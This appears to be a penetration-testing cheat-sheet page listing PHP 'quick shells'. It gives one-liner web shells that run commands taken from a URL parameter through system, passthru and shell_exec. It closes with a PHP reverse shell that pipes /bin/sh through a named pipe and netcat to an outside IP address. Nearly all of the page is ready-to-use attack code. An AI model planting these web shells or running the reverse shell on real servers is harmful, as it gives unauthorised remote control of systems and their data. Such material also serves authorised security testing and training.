PHP

PHP

Quick Shells

Execute one command:

<?php system("whoami"); ?> 

Take input from the url paramter. shell.php?cmd=whoami:

<?php system($_GET['cmd']); ?> 

The same but using passthru:

<?php passthru($_GET['cmd']); ?> 

For shell_exec to output the result you need to echo it:

<?php echo shell_exec("whoami");?>

PHP reverse shell:

<?php exec("/bin/bash -c ''rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1| nc 192.168.119.198 8443 >/tmp/g ''");?>

Last updated